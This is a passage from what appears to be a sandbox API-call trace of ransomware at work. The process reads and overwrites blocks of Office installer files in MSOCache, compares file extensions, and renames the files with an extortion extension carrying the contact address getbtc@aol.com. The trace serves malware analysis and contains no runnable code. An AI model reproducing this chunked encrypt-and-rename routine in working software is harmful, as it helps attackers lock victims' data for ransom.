lpNewFilePointer=0xffffffff) returned 1 [0048.619] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.619] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.941] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.941] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.953] SetEndOfFile (hFile=0x1f8) returned 1 [0048.953] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0048.957] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.957] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.958] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.958] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.961] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.961] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0048.962] CloseHandle (hObject=0x1f8) returned 1 [0048.962] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.962] lstrlenW (lpString=".doc") returned 4 [0048.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".docx") returned 5 [0048.963] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.963] lstrlenW (lpString=".pdf") returned 4 [0048.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".xls") returned 4 [0048.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".xlsx") returned 5 [0048.963] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.963] lstrlenW (lpString=".ppt") returned 4 [0048.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString=".zip") returned 4 [0048.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".rar") returned 4 [0048.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".bz2") returned 4 [0048.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.963] lstrlenW (lpString=".7z") returned 3 [0048.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString=".dbf") returned 4 [0048.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString=".1cd") returned 4 [0048.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString=".jpg") returned 4 [0048.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.963] lstrlenW (lpString=".doc") returned 4 [0048.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.963] lstrlenW (lpString=".docx") returned 5 [0048.963] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0048.964] lstrlenW (lpString=".pdf") returned 4 [0048.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.964] lstrlenW (lpString=".xls") returned 4 [0048.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.964] lstrlenW (lpString=".xlsx") returned 5 [0048.964] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0048.964] lstrlenW (lpString=".ppt") returned 4 [0048.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.964] lstrlenW (lpString=".zip") returned 4 [0048.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.964] lstrlenW (lpString=".rar") returned 4 [0048.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.964] lstrlenW (lpString=".bz2") returned 4 [0048.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.964] lstrlenW (lpString=".7z") returned 3 [0048.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.964] lstrlenW (lpString=".dbf") returned 4 [0048.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.964] lstrlenW (lpString=".1cd") returned 4 [0048.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0048.964] lstrlenW (lpString=".jpg") returned 4 [0048.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.964] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.964] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0048.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.965] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=27532288) returned 1 [0048.965] CloseHandle (hObject=0x1f8) returned 1 [0048.965] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0048.965] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.965] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.966] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.966] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.966] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.185] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.185] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.208] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.208] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.208] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.222] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.222] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0049.240] SetEndOfFile (hFile=0x1f8) returned 1 [0049.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0049.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.469] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.473] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.473] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.475] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0049.475] CloseHandle (hObject=0x1f8) returned 1 [0049.475] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.475] lstrlenW (lpString=".doc") returned 4 [0049.475] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.475] lstrlenW (lpString=".docx") returned 5 [0049.475] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.475] lstrlenW (lpString=".pdf") returned 4 [0049.475] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.475] lstrlenW (lpString=".xls") returned 4 [0049.475] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.475] lstrlenW (lpString=".xlsx") returned 5 [0049.475] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.475] lstrlenW (lpString=".ppt") returned 4 [0049.475] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.475] lstrlenW (lpString=".zip") returned 4 [0049.476] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString=".rar") returned 4 [0049.476] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString=".bz2") returned 4 [0049.476] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.476] lstrlenW (lpString=".7z") returned 3 [0049.476] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString=".dbf") returned 4 [0049.476] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString=".1cd") returned 4 [0049.476] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString=".jpg") returned 4 [0049.476] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString=".doc") returned 4 [0049.476] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.476] lstrlenW (lpString=".docx") returned 5 [0049.476] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.476] lstrlenW (lpString=".pdf") returned 4 [0049.476] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString=".xls") returned 4 [0049.476] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString=".xlsx") returned 5 [0049.476] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.476] lstrlenW (lpString=".ppt") returned 4 [0049.476] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.476] lstrlenW (lpString=".zip") returned 4 [0049.476] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.476] lstrlenW (lpString=".rar") returned 4 [0049.476] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.477] lstrlenW (lpString=".bz2") returned 4 [0049.477] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.477] lstrlenW (lpString=".7z") returned 3 [0049.477] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.477] lstrlenW (lpString=".dbf") returned 4 [0049.477] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.477] lstrlenW (lpString=".1cd") returned 4 [0049.477] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.477] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0049.477] lstrlenW (lpString=".jpg") returned 4 [0049.477] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.477] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0049.477] lstrlenW (lpString="Office32WW.msi") returned 14 [0049.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.483] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1992192) returned 1 [0049.483] CloseHandle (hObject=0x1f8) returned 1 [0049.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0049.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.484] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0049.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.484] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.484] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.484] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.515] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.515] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.518] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.518] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.518] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.532] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.532] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0049.816] SetEndOfFile (hFile=0x1f8) returned 1 [0049.816] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0049.816] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.816] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.818] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.818] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.820] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.820] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.821] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0049.821] CloseHandle (hObject=0x1f8) returned 1 [0049.822] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.822] lstrlenW (lpString=".doc") returned 4 [0049.822] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.822] lstrlenW (lpString=".docx") returned 5 [0049.822] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.822] lstrlenW (lpString=".pdf") returned 4 [0049.822] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.822] lstrlenW (lpString=".xls") returned 4 [0049.822] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.822] lstrlenW (lpString=".xlsx") returned 5 [0049.822] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.822] lstrlenW (lpString=".ppt") returned 4 [0049.822] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.822] lstrlenW (lpString=".zip") returned 4 [0049.822] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.822] lstrlenW (lpString=".rar") returned 4 [0049.822] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.822] lstrlenW (lpString=".bz2") returned 4 [0049.822] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.822] lstrlenW (lpString=".7z") returned 3 [0049.822] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.822] lstrlenW (lpString=".dbf") returned 4 [0049.822] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0049.823] lstrlenW (lpString=".1cd") returned 4 [0049.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.823] lstrlenW (lpString="C:\\MSOCache\\All 